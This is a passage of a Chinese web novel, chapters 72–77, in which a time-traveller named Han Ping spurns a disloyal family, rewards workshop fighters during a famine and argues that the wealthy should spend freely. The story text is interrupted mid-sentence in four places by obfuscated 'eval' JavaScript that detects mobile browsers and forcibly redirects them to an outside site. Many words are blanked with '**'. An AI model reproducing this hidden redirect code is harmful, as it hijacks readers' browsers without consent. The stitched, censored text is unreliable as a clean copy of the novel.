经历一番刺杀风波，又和官府的人周旋了许久，韩平累得不轻，几乎是本能，他躺在椅子上，抱住了怀中的大夏龙雀。 第一次拿到大夏龙雀，他没有当回事，所以才送给了谢翼圣，就算秦明虎再次拿回来，他也没有太在意。 现在摸着厚实，坚硬的刀鞘，却有了不同的感觉。 这把宝刀曾随赫连勃勃大王南征北战，如今锋利光彩依旧，绝对不是凡铁，便是上好的雪花镔铁，经历几次战斗，也会卷刃。 龙雀之所以能传承至今，在于其硬度和柔韧性，都远远超过了普通兵器。 就算之后工坊能制作，用的终究是普通铁矿石，想要达到这个硬度，也不太可能。 抱着宝刀，心里踏实，不管遇到了什么危险，至少还可以战斗，至少，刀不会断。 有能信任的兵器，太重要了。 “龙雀，龙雀……咱们一起去洗澡吧。” 有了对龙雀的认可，韩平不愿意放下，带着刀去洗澡，不但自己洗了，还给龙雀洗了。 换上干净衣服，给龙雀擦干净水渍，又抹上了菜籽油，这样可以防止生锈。 这般一做，他有了当侠客的感觉。 从今天开始，他便是一名刀客了。 “先生，吕必肥一家想要见您！” 院子里，韩平正在耍刀，觉着沉重了点。 南宫狗剩过来通报，韩平皱皱眉，还是说道：“让他们来正堂吧。” 第73章 你道德**，我没道德！ 第七十三章你道德**，我没道德！ “还得练啊。” 龙雀比一般的刀长，也比一般的刀重，仅仅耍了几趟，韩平就觉得手酸。 这一来是之前饿太久了，身体还没有到达最好状态，二来则是不习惯，武人的个别肌肉，格外发达，他没有。 这就和练瑜伽是一个道理，正常人只要练两分钟的倒立动作，手臂很可能便会肿起来。 因为手臂竖着的肌肉，练得太少。 休息了会，把龙雀悬挂在腰间，他去了正堂。 “韩先生，都是我的错，是我拦着他们，不让他们去救您的。” “您要怪就怪我，别怪他们。” “你看看啊，因为这事，他们快把我打**。” 吕得草一家都跪在地上，牛得草的媳妇秦荷花，脸上身上都是伤痕，头发也乱糟糟的。 吕得草和吕必肥父子灰头土脸，不敢看韩平。 韩平愿意见他们，就是想看看，他们还能说什么。 听到秦荷花的话，韩平撇撇嘴，就这？ 他算是看清楚了，秦荷花就是个蠢娘们，偏偏吕家的大小事，都是她说的算。 可以想象，如果韩平原谅了他们，秦荷花回家之后，一定会炫耀，是她守住了家，没有让父子俩冒险，虽然没有得到奖赏，命保护了啊。 低级！ “秦荷花！你快被打**，和我有什么关系？难道要我可怜你吗？” “在我身处险境的时候，你拦住了吕必肥，就拦住了一整个工坊的人。” “若非我命大，已经**。” “至于吕得草和吕必肥两个，临危之际，你们决定听秦荷花的，这就是你们的选择，不要说是她拦着你们了。” “她一个女人能有多大力气？拦得住你们两个大老爷们？” “都是借口罢了。” “灾荒年月，我需要的是能够和我共患难的人，显然你们不是。” 经历残酷的危险，韩平越发认识到，语言很多时候毫无意义，说来说去都是骗人的把戏。 自己之所以被骗，不是对方的骗术多么高明，而是自己选择相信。 等自己不再相信的时候，所谓的花言巧语，只会显得可笑。 “韩先生，您是个好人，您总不能看着我们一家人饿死吧？” 见无法讲道理，秦荷花努力卖可怜，韩平都笑了：“第一，谁说我是好人了？ 第二，好人就得无底线地原谅你？这种好人不是傻子吗？ 第三，你们是饿死也好，还是**也好，**嘛看着？我很忙的好不好？ 到处都在**，我同情得过来吗？” 韩平是被网络洗礼过的，秦荷花的这点道德**，简直就是儿戏，只一点就能把她给灭了。 你道德**，我没道德！ 你说好人就应该如何如何，我不当好人，至少不当你嘴里的好人！ 说白了，这就是定义权的俗套子。 她先给好人下个定义，再把韩平归结为好人，然后便想让韩平，按照好人的行为方式去原谅她。 到这会了，秦荷花还在玩这套，足见其蠢。 “你别说话了。” 牛得草都听不下去了，他也不是不知道，媳妇说得都是歪理，平日里不想闹腾，才迁就过去。 只是日积月累的迁就，慢慢地，秦荷花便觉得，自己真的行了。 慢慢地，牛得草也服从惯了，失去了原则。 有太多的男人，就是这么被毁灭的。 “你说你说，看你能不能说得动！” “你要是不能，都是你的错。” 太不习惯被丈夫吼，到这会了，秦荷花还横呢。 牛得草流着眼泪，砰砰磕头：“韩先生，我和我儿子是真的认识到，我们错了。 我不该让个女人当家，更不该见死不救。 要不是有工坊，我们一家已经饿**，先生又救过我的命，怎么算，我们都不该。 只要给我们机会，我们一定改。 我儿子聪明伶俐，你也看出来了，他能帮你忙的。” 这几句话，算是比较真诚，吕必肥确实是个聪明伶俐的，很多事情，教一遍，他就会了。 原本韩平是有心培养他，将来可以让他扛大梁，负责更加复杂的工作，他什么都听秦荷花的，真心是带不动。 “得草叔，你说的话我信，只是你们的机会，已经没了。” “你儿子聪明伶俐没错，外面聪明伶俐的人，多得是，每天饿死的聪明孩子，数都数不清。” “我不再原谅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535358|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不光是为我自己，更是为那些战死的人。” “如果你们带着酒精工坊的人加入战斗，他们也许就不会死。” “灾情肆虐，都想活下去，可不管到什么时候，这世界都存在基本的道义。” “你们选择听秦荷花的，便丢掉了这份道义！” “请回吧，邻居一场，我不想动武。” 前世的韩平绝对属于老实人，他并不擅长和人斗争，同时也容易动恻隐之心，可这个世界的残酷，让他不得不狠下心肠。 不然，他自己活不下来，身边的人也难活。 南宫狗剩等人纷纷怒目而视，恨不得打牛得草一家。 不管平常关系如何，并肩作战过，便是战友，那种情意血肉相通，性命相连。 那种疼痛，终生难忘。 “我们走，我们走就是了……呜呜呜……” 牛得草一家哭着离开，从此分道扬镳，永远不会再见了。 韩平涌起淡淡伤感，缓了缓情绪说道：“让明虎进来。” 秦明虎没有跟着大家进来，韩平知道，他就在外面等着呢。 果然，南宫狗剩去外面叫了一声，秦明虎匆匆进屋，把渔阳城的情况说了。 “**有用就好。” “要制作也不难，只是不管是材料还是人工，都需要钱……” 第一次看到别人为自己生死不顾，韩平一时意气，把奖赏提高到了匪夷所思的程度。 仔细一算，他一共许出去了，起码几十万两银子。 他手里根本没有那么多钱，只能先给一部分。 要靠一边赚钱，一边制作**，时间上又来不及。 “先生，钱的事情，夫人应该愿意给。” “我听闻陛下已经下令，让大公子一个月之内，击退柔然大军，不然便要治罪。” “夫人的意思，希望先生亲自去一趟渔阳城。” “只是不知道她能给出什么，来打动先生。” 秦明虎眼睛发亮，他也希望韩平能去渔阳城，实在是因为，目前的状况，有了**，只能守住渔阳城，却无法击退柔然大军。 如此，谢家还是要完蛋。 韩平既然能有那么多奇思妙想，到了渔阳城，说不定会有别人无法想到的办法，击退柔然大军。 第74章 那就去一趟 第七十四章那就去一趟 前往渔阳城…… 韩平心内一阵纠结，现在正是打造工坊关键的时候，只要把菱形堡垒打造出来，防御力绝对不会逊色于边境防城。 有了两千多人的班底，工坊的各条产线也会很容易建立起来。 往后就光是享受了，吃好喝好玩老婆，多安逸。 但不去，实话说，谢翼圣对自己还是很不错的，与其说是客卿，更像是朋友。 见死不救，心中难免不安，念头也会不通达。 自己刚刚指责过别人，自己也这样，着实不像话。 再者，渔阳城是重要关隘，当今皇上阵前换将，万一柔然人真打进来，那可麻烦了。 “这样啊，我马上让人制造**。” “明虎，你也来帮忙。” 就算有心要去渔阳城，韩平也不会说出来。 他倒要看看伯爵夫人能下多大的本钱，谢朝乘若是无法击退柔然大军，谢氏满门都要沦落了，不大出血可不行。 “谢谢先生。” 秦明虎本也坐不住，柔然人不是打不下渔阳城，他们是不愿意付出太大的伤亡。 如今有了**这个变数，只怕柔然人会加紧攻城。 **的制作，有一批熟手，很快便运作起来。 …… 下午，韩平亲自去慰问了死者家属，每家给了一百两银子，并承诺之后还有这九百两。 其他参战的，每人先给十两，同样，剩余的之后再给。 没办法，一下子许出去了几十万两银子，韩平是真的没有那么多钱。 就这，大家伙兴奋得过年一般。 很多人拿着钱根本不知道怎么花，看谁都像小偷，一溜烟地跑回家，找个犄角旮旯藏起来。 也有人开始报复性消费，去了嘉陵的坊市，大吃大喝。 他们穿的都太朴素，不免引来许多议论。 “什么情况？一群要饭的，也能吃得起肉了？” “小看人了不是，他们是韩先生的人，至少都有一百两的身家，吃点肉算什么？” “一百两？就和土匪打一架，奖励那么多？” “不懂了吧？功高莫过于救主，这些人可都保护了韩先生，韩先生的大方，那是出了名的。” …… 土匪刺杀，工坊反击，陈知州救人，各种英雄事迹，在街头巷尾传播了开去。 获得韩平重赏的两千多人，那可都成了香饽饽。 无数人围着他们，就和苍蝇似的。 “阿强哥，要媳妇不？俺闺女今年十八，腚宽一尺三，包生儿子的。” “我的家荣大侄子，你还记得不，我以前请你吃过鸟蛋呢，还是酸辣味的。” “大海，论起来咱们可是近亲，你爷爷和我爷爷，他们可是堂兄弟，那个……能不能借给我点钱，不多，两百文就行。” “杨叔叔，你看我儿子能不能去您家，给您当孙子呢？你不是急着抱孙子吗？” …… 他们有钱，巴结的人就多。 亲戚啊，邻居啊，闻着味就来了，各有各的说法，有人耳根子硬，也不娶小妾，也不借钱。 有人耳根子软，半天功夫娶了七八个小妾。 也有人把钱借给至亲好友的，各有各的活法。 田桩子算是舍得吃的，去坊市买了两只鸡，又买了几斤五花肉，以及一包煮蚕豆。 因为阎罗醉出现，黄酒的价格便宜了许多，他买了一坛酒，螃蟹横行一般回到家。 “他爹，有钱可不敢这么造啊。” “要不咱吃点大肠，或者猪肝，猪肺吧。” “酒可不敢喝，败家子才喝酒呢。” 他婆娘哪里见过这个阵仗，当时就吓坏了，嘟嘟囔囔，节俭惯了，有钱也不舍得吃。 毕竟灾荒还没过去呢。 上次田桩子弄虚作假，挨了板子，差点被开除，多险啊。 “我就是想吃，咋地？不行啊？” “只要跟着韩先生，以后会没肉吃？” “面对土匪，老子和韩先生并肩作战，韩先生让我往东我就往东，那叫一个激烈，现在谁还敢嘲笑我？” “你一个女人家家的，懂个啥？” “是不是想学秦荷花啊？” “是不是？” 一提到秦荷花的名字，婆娘不敢说话了，工坊的人谁不知道，秦荷花已经成反面典型了。 她拦住吕得草，吕必肥没有去参战，被开除出工坊，不光她会饿死，全家人都会饿死。 通过这个事，很多老爷们想明白了，就得老爷们当家，老娘们天天不出门，懂个球啊？ “赶紧做饭！” “两个鸡，一个做成烧鸡，一个做成烤鸡，快点滴。” 带着一家之主的傲气，田桩子躺在了破椅子上，看向几个孩子：“以后都别听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535359|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恁娘的，听恁爹的，明白不？” 孩子们也不傻，纷纷答应：“听爹的有肉吃，我啥都听爹爹的。” 嗯，这才叫人过的日子。 田桩子美了，喝着酒，搓着蚕豆，吃得美滋滋，给娃子们几个，娃子们那叫一个亲热，真把他当亲爹一样的对待。 …… “爹，咱们怎么不吃肉？” 南宫狗剩家，十三个孩子大眼瞪小眼，看着眼前的猪油炒野菜，多少有点失望。 周围好多人家都在吃肉，仿佛进入了吃肉狂欢，到处都是肉香味。 “是啊，我们也想吃肉。” “小锅家都吃肉了，他还没有吃过肉呢，肉啥味都是我和他说的。” “三棒家今天吃鸡肉，槐花都分到肉了。” “爹，你是不是打土匪没出力啊？” …… 几个比较大的，已经有点思维能力，他们看自己的爹，有点不顺眼了。 外面好多孩子，都在吹自己爹多厉害，特别是受伤的，说得更是神乎其神。 南宫狗剩身上没受伤，在孩子们眼中，不够勇敢。 孩子是最向往英雄的，特别是有了比较，非常容易自信，或者自卑。 “吃吃吃，就知道个吃，有菜团子，有猪油炒野菜，还不够？” “之前连菜团子都吃不上，不也一样过？” “谁说我打土匪没出力？我一直都在最前面呢。” “你们是聋子吗？韩先生嘴里的南宫，就是恁爹我。” …… 因为经常吃韩平家的剩菜，南宫狗剩拿到钱，就老成持重得多，他是想着，给自己打一把刀。 好歹是个护卫，连把刀都没有，那就只是个看门的。 一把像样的刀，怎么也得三千多文，再弄个弓箭，又不知道多少。 反正省着花，准没错。 “爹，你不是叫狗剩吗？” 孩子们仰着头，狗看星星，不明所以，他们还不理解姓的意思，就知道，大家都叫自家爹狗剩。 “笨蛋！我姓南宫，名狗剩，字神避。” “韩先生叫我南宫是看重我，明白了不？” 据说神啊鬼啊，都喜欢招惹小孩子。 穷人家的孩子，如果连续夭折，就会取个贱命，以图避开鬼神滋扰。 南宫狗剩的名字便是这么来的，狗都不吃，剩下来的，神仙还能不避开？ 第75章 名人 第七十五章名人 嗯？ 为啥叫南宫是看重，叫狗剩就不看重，小孩子们哪里理解这个，只好不懂装懂，连连点头。 王黑妮说道：“当家的，现在咱有钱了，是不是再娶一房小妾？这样咱们就是中上户了。” 大越的民户分为三等九甲，先是分上中下三等，每一等又分上中下三级，其中，男子娶一妻四妾，养五个女人，生十个以上的孩子，便可以升一级。 等级高，意味着地位高，更得官府信任。 同样是民人，如果有了**，谁的等级高，往往便是谁有理。 “娶个鸟！你想累死我啊？” “今晚我自个睡，谁都别来烦我哈！” 媳妇多了，也有苦恼，特别是吃饱了之后，这个有需要，那个有需要，南宫狗剩是真的伺候不过来了。 王黑妮和三个小妾对对眼，流露淡淡的不甘心，却也只能忍耐。 …… 古话说，仓廪实而知礼节，衣食足而知荣辱。 快要饿死的人，和动物毫无分别，甚至比动物还要残忍，什么好人坏人，这种标签毫无意义，都得像动物一样，互相杀戮，互相提防。 唐二牛算是坚守底线的人，后果就是，生的双胞胎孩子饿死，他和孙翠娥也差点饿死。 拿到十两银子的他，恍如隔世。 他没敢都拿手里，先寄存在韩平那里五两，拿着五两银子，买肉，买粮食，买红糖，买鸡蛋。 他需要进补，媳妇也需要进补，这样才能有孩子。 经历过和土匪的战斗，他的胆量也上来了，手里拿着个棍，不介意和任何人干仗。 越是这样，越没人欺负他，反而处处都是客气。 “大老爷，给口吃的吧，菜团子，窝窝头，哪怕给口汤呢。” “我给大老爷磕头了，可怜可怜我们老头子老婆子。” “三天了一口没吃上，再让我们多活两天吧。” “救命，救个亲命吧。” …… 正要买一只老母鸡，见鸡行外面，两个衣衫褴褛，白发苍苍的老年人，磕头要饭，额头磕得黑乎乎的，手里拿着个破罐子。 灾荒年死得最快的便是老人和孩子，为啥说七十古来稀，只因为，每次灾荒都像一次死亡之网，老年人都被网走了。 见得多了，唐二牛也麻木了，上去买鸡：“店家，来一只老母鸡。” “哎哟，这不是唐护卫吗？您的英雄事迹我们可都听说了，杀土匪和杀鸡一样，您来买我们的鸡，是我们的荣幸。看好了，这只最肥，您给个整数，一百文吧。” 正常年月有粮食，养鸡也就容易，通常是七八十文。 灾荒年，鸡的价格也上去了。 唐二牛难得被这样礼遇，也没有讲价，给了一串铜钱，正好一百个。 “好嘞您哪！要不要我给杀了？” “不用，我自个杀。” 让店家杀，很多东西便浪费，鸡毛，鸡血，鸡内脏什么，他是不舍得扔。 他想好了，让媳妇吃鸡腿，自己多吃点鸡血，内脏什么的，鸡毛做个鸡毛掸子，把家里弄得干干净净的。 “好呢，唐护卫慢走啊。” 工坊发生了那么大的土匪刺杀事件，早就轰动了，嘉陵城的人，无人不知。 其中，唐二牛也成了名人。 这种宰杀土匪的狠人，谁愿意惹？ “嗯，您忙。” 唐二牛依旧是客客气气，走了几步，发现那两个要饭的老人家，竟然一直跟着他，拄着拐棍，往他脸上看个不停。 “他爹，你看真切了吗？是他不？” “像，太像了，只是……他穷得叮当响，怎么买得起肉和老母鸡？” “那指定是你认错了，咱闺女没有这个福气。” “可他也姓唐呢，怎么看都是他。” …… 两人嘟嘟囔囔，死活不敢认。 灾荒年，人的脾气也暴躁，街头**屡见不鲜，老人家可不敢和人冲突，被打了，挨着，被骂了，忍着。 跟几步，唐二牛不在意，眼看着跟着走了有半里地，唐二牛停了下来：“两位老人家，别跟着我了，给你们两个……” 他想说给你们两个鸡蛋，没说完呢，便不舍得了，犹豫再三，把一小袋的杂面递了过去：“这袋杂面，你们熬糊糊吃吧。” 灾民往往是在旷野生火做饭，有什么就煮点什么。 这两个老人肯定熬不过这个灾荒的。 “谢谢你哈。” 先把杂面抓到手里，老头又靠近了一步问道：“你……你是二牛吧？” 嗯？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535360|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >唐二牛仔细看了又看，真不认识，便好奇道：“你们是？” 两个老人喜极而泣，颤抖着半天才能说得出话来：“姑爷，我的亲姑爷啊，你现在日子好过了，能不能捎上我们两个老的？翠娥还好不？” 大越的风俗，姑爷没有养岳父岳母的，所以结婚之后，基本便不会见面了。 唐二牛揉揉眼睛，认了又认，才能从眉眼之间，看出一点熟悉。 实在是，多年不见，两个老人家被折磨得，太沧桑了，看起来好像八-九十岁。 “你们是我的老泰山，老泰水？” “翠娥挺好的，就是身子弱点，这不我买点好吃的，想给她补补。” “走走走……回家去，以后有我一口吃的，就有你们一口吃的。” 唐二牛的父母早亡，没什么亲人了，只有个媳妇。 现在媳妇的爹娘来了，在他眼里，格外的亲。 老泰山和老泰水是极其尊敬的说法，就是岳父，岳母的意思。 “好嘞，好嘞。” 两个老人家热泪滚滚，眼看着，他们离死也就这两天了，哪知道天不绝人路，竟然碰到了姑爷。 虽然说岳父母去姑爷家过活，是没体面的事，也顾不得了。 能活着，比啥都强。 “这里有红糖，你们先吃点。” 见两人皮包骨头，一阵风就要倒，唐二牛给他们抓了两把红糖，先顶着。 两个老人小心翼翼地捧着红糖，不多会便舔了干净，人顿时精神了许多。 来到家门口，唐二牛拍门：“翠娥，快出来，看谁来了。” 孙翠娥依旧沉浸在悲痛之中，强打精神，开门一看，欢喜无限：“爹，娘……” 叫一声，三人便抱在一块，哭成一团。 好久才进了院子，孙翠娥看到相公手里肉啊，面啊，鸡啊的，不敢信，唐二牛一一解释，全家惊喜不已。 “韩先生也太大方了，咱们全家的命都给他，也亏不着。” “姑爷，闺女，你们这日子过得，比县太爷都好。” “爹娘，以后就是一家人，不说两家话，咱们一起抱团往下过。” “只要跟着韩先生，好日子还在后面呢。” “这个韩先生是谁啊？我天天给他上香，保佑他长命百岁。” …… 第76章 选址，开干 第七十六章选址，开干 很多事是没法停的，韩平需要赚钱，灾民也需要一份生计，现有工坊也不是说搬就能搬走的。 不过，为了感谢陈文灿，韩平决定在琴川招工。 对这些事，陈文灿是丝毫不敢马虎，亲自带着亲兵，衙役四处巡逻，核对名籍，优中选优。 他对琴川本地人知根知底，选拔起来也容易。 招工当天便立即运送到工坊干活，没办法，工坊急着生产出货，灾民急着吃饭。 有两千多人的基本盘，比之前更加井然有序。 同时，韩平在陈文灿的陪同下，在琴川转了转，相中一个地方。 这里是一片山地，层峦叠嶂，易守难攻。 最可喜的是，在山谷之中，有偌大一个湖泊，名叫映山湖。 湖中间还有一个小岛屿，在别人看来，这里没什么用处，因为这里的山是土石混合，无法种庄稼，常年蒸发，湖水盐度高，鱼类比较少。 从地理上，这里处在嘉陵，琴川，江宁三个府城的中间，只要打通了交通，便可以成为枢纽之地。 “韩先生，这里……太寒酸了，外面尽有河川地，先生要多少有多少。” “在这里建工坊，光是运输就很麻烦。” 陈文灿十分不理解，上好的河川地不要，选这种鸟不拉屎的地方弄啥？ 这片地属于是荒地，周围都没人的。 农户都住在农田附近，猎户在深山之中，这里有点不尴不尬的。 “不是建工坊，我准备在这儿建一座娱乐中心。” “一可供三个府城的人在此玩乐，二可供路人在此歇脚。” 这个时代的娱乐，真的太匮乏了。 有钱的公子哥，养个鸟就被人叫败家子，说什么提笼架鸟，不务正业。 用现代的观点想想，一个富二代，养个八哥，养个画眉，这能叫败家子？ 相反，大越最大的问题是，有钱人不够败家。 有钱人没有花钱的地方！ 吃，有钱人都有几十万亩地的田庄，山林，什么稀罕东西没有？ 穿，店面就是人家自己的。 女人，数不清的女人，在有钱人的府上，当个奴婢。 只要不**，真就没地方花钱去。 眼前的大越和明朝末年有点像，明朝天灾人祸，到处都在**，可有钱人拥有的钱财，恰恰达到了极致。 崇祯的老丈人周奎，平常哭穷，李自成一来，他一个人就交出来三百万两。 他为啥哭穷？ 因为他认为自己是真穷，他的钱只积攒了一代，真正有钱的，是那些王爷，那些勋贵，他们的钱，积攒了两百多年。 有人统计过，嘉靖年，当时山西省的财政收入是152万石，山西省王爷的俸禄，是212万石。 用一个省的财政去养王爷，养不起，更不要说还有其他的公侯伯子男呢。 大越也是一样，财富集中到了一种变态的程度，有钱的别说十辈子八辈子，就是一万辈子也花不花。 他们的钱每年都在增多，而不是减少。 在不**的情况下，只能通过创造消费点，拉动消费。 阎罗醉为啥定价那么高？ 这就不是给一般人喝的，在人家勋贵眼里，连毛毛雨都算不上。 “娱乐中心？” “哦，就是瓦舍。” 瓦舍？ 陈文灿顿时一阵失望。 瓦舍他去过，里面无非是唱戏，说书，表演个杂技什么的，通常都包含在坊市之内，占地不大，赚钱不多，就是个看热闹的地方。 他还是想要韩平把工坊搬进来，那家伙的，一招工就是两万人，多带劲啊。 但他也不好操之过急，韩平已经在琴川招工了，又要在琴川开工，争取到的，真不少了。 “先生想干什么，只管去做，我琴川全力支持。” “如果是这里的土地，我做主，全部送给先生便是。” 这里的山地，盐水湖，就没有产出，最多不过是猎户在附近打个猎。 韩平也不客气：“那好啊，这三山一湖，我全要了。” 围着映山湖有三个比较大的山头，只要在上面建一个碉楼，便可以俯瞰四方，以湖水为中心，是得天独厚的一块盆地。 “请问，先生准备在此处，使用多少人手？” 长工有了工钱，便会消费，有了消费，琴川的商业便繁华了，官府的税银就指望这呢。 “前期的话，怎么也得五千人吧。” 没有机器，纯靠人工，效率太低，人少了真不行，韩平这么一说，陈文灿笑得见牙不见眼： “先生真不愧是第一才子，出手就是不凡。要不，今天就开始吧？” 在灾荒面前，探花也没什么用。 陈文灿是真饿了，府库里没钱，无力赈灾，眼看着，连手下衙役的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535361|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俸禄都快给不起了。 由于是官吏两分，一处州府，朝廷只给一份钱，这份钱怎么用，知州来决定，因为朝廷没钱，拖欠饷银，有些府衙，衙役都快解散了。 有些县城更可笑，直接就没衙役，县太爷负责办案，县丞负责拿人，同时县丞还兼管教育，监狱，治安，赋税，河务…… “好，便今天开始。” 前期建设的场馆，都是普通的木结构，没有任**技术，只需要有几个监工看着，就能展开。 韩平需要做的，是给设计图。 当即，陈文灿和韩平签了地契转让的手续，韩平先给了个粗略图，再派来几个班底，便可以开干了。 “哎呀哎呀……好，真好啊。” “都好好干，有菜团子吃，还有十文钱，不好好干可不行。” “记住了，要感谢韩先生。” “完全听韩先生的，一点错不能有啊。” …… 看着长工们热火朝天，陈文灿控制不住自己，一遍又一遍，嘟嘟囔囔，再看向韩平的时候，好像在看金元宝。 韩平被他看的发毛，做了基本安排，便赶紧回家了。 …… 江宁府，刺史冯云程怒容满面，看着庄典和袁郛两人叭叭，越听他越是心塞，这一个二个的，都把自己往死里骗。 他是弄明白了，嘉陵城的灾情获得好转，全靠一个韩平。 可庄典和袁郛这两个人，半个字都不带提的，亏他几次三番地行文，得到的只有废话连篇。 更可恨的是陈文灿，明知道韩平是关键人物，轻飘飘用“民人”两个字代替，从自己这里骗走了批文。 现在好了，韩平成琴川人了。 “你们！” “早点和我说，会有这种事吗？” “现在陈文灿拿到了批文，我能怎么办？” “你们要打官司，我还要打官司呢，我要上本参你们，参陈文灿。” “韩平哪儿都不能去，必须来江宁！” 谁不想捞业绩啊？ 听到招工两万多人，冯云程当时就动心了。 如果工坊开在江宁，不出两年，江宁就会大治，他什么也不用干，便是大越王朝第一能干的封疆大吏。 庄典和袁郛都是吃了苍蝇一样，知州参知州，刺史参知州，这是要闹到三法司。 可悲的是，陈文灿有后台，刺史有后台，他们背后，一无所有。 第77章 刺激消费 第七十七章刺激消费 “杏儿，还疼不？” 吃晚饭的时候，老太太心疼万分地问道。 这个时代的审美，女人就是要肥美，老太太不是不喜欢刘雪宝，只是更喜欢赵杏儿。 更不要说，赵杏儿可是为她儿子，和土匪拼命。 “婶子，一点儿也不疼，皮外伤而已。” 赵杏儿脖子上的伤，是被竹子擦到了，有几道血印子。 这个时代的医疗条件太差，很可能一点小伤就**。 韩平叮嘱：“待会再用酒精擦一下，这几天别上工了，好好休息休息。” 说起来，韩平还没有给工坊安排休息时间呢，不是他不想，是灾民们不愿意休息。 如果在后世，他这样的，绝对是黑心资本家，但在这儿，他就是超级大善人。 太多人哭着喊着，要来工坊工作，哪怕不给钱他们都愿意。 韩平也想好了，给短工分级，比如干一些轻活的，真就不给钱了，仅仅管饭。 如此也可以多招一些灾民。 “先生，杏儿想上工，能为你做点什么，我心里踏实。” 对赵杏儿来说，上工并不辛苦，反而充满了成就感。 女子工坊有太多的事需要做，还有旁边的蒙学，也需要她照看，一天不去，便不放心。 “你啊也是个闲不住的。” “这样吧，咱们家的伙食还是太差了，杏儿，雪宝，淑君你们三个，按照我给你们的菜单，在下午的时候，学习做菜。” “要做好吃是很难的，慢慢来，这也算是一种休息。” 在这个时代，有钱人节俭，是一种罪恶。 因为有钱人节俭，钱就不流通了，穷人只能饿死。 韩平看历史的时候就发现，在“朱门酒肉臭路有冻死骨”的时代，王朝往往可以延续，再坚持个一百年都没问题。 但是，一旦有钱人开始节俭，开始提倡什么粗茶淡饭，开始装穷，那距离灭亡就不远了。 钱是从上往下流通的，只要有钱人愿意吃喝玩乐，肆意地消费，钱就会有一部分，流到穷人里的手里。 大越王朝鼓励男人娶小妾，也是基于这个道理。 你清高，你就娶一个，那无数快要饿死的女人，谁来拯救呢？ 出于以身作则的原则，韩平不管愿意还是不愿意，他都必须吃好的，喝好的，穿好的，能多奢华就多奢华。 这才是真正的道德高尚。 “伙食太差了？” 小雪瑶看着桌子上，光是肉菜就有三个，素菜也非常精致，她眼睛瞪得老大。 从前，她连菜团子都吃不上，现在天天白面馍馍，还有肉。 结果自己这位姐夫还不满足呢。 她有一种想要靠近姐夫的本能，没办法，跟着姐夫，吃得太好了。 “相公，这一桌饭菜，怎么也得二两银子，算差？” “韩先生，饮食太过奢华，会引人非议吧？” “是啊，大人物都是简朴持家的。” “平儿，你可不能学那败家子。” 其他人也跟着劝，眼前的吃食，他们便万分不适应，更好，那真就不会吃了。 韩平长长地叹气。 其实他真不是对饮食要求多高的人，可他，必须践行大道！ “只有我们舍得花钱，其他人才会跟着学。” “银子花出去，流到店家手里，流到小商贩手里，流到卖菜的农夫手里，流到养鸡，养猪的人手里。” “他们才能在灾荒年活下去。” “咱们不花钱，简朴持家，同样，其他人也会跟着学。” “如此，银子就成了死的，会有无数的商贩，农夫，养鸡，养猪的人饿死。” “我们吃好穿好，这是在做善事。” 韩平只好用最简单的道理，去开导大家。 不管是老太太，还是刘雪宝，曹淑君，她们一直受到的教育，都是节俭。 问题就在这，她们以前节俭，那是因为穷，不节俭活不下去。 现在已经不同了。 “先生为天下苍生，甘愿担负奢靡名声。” “古来圣贤不及先生万一。” 想了想，赵杏儿动容了，大家都会赞美那些节俭的，朴素的，就连圣人在赞美这些行为。 可仔细想想，韩平说得太有道理了，有钱人节俭，穷人就只能饿死。 她从来没有这么想过问题，世界观都动摇了。 “达则兼济天下，我们的一餐一饮，都对苍生有益。” “清高的虚名，大部分时候，只会害人。” “华夏，华夏，服张之美，谓之华；礼仪之大，谓之夏。” “菜团子不是华夏，破破烂烂不是华夏。”

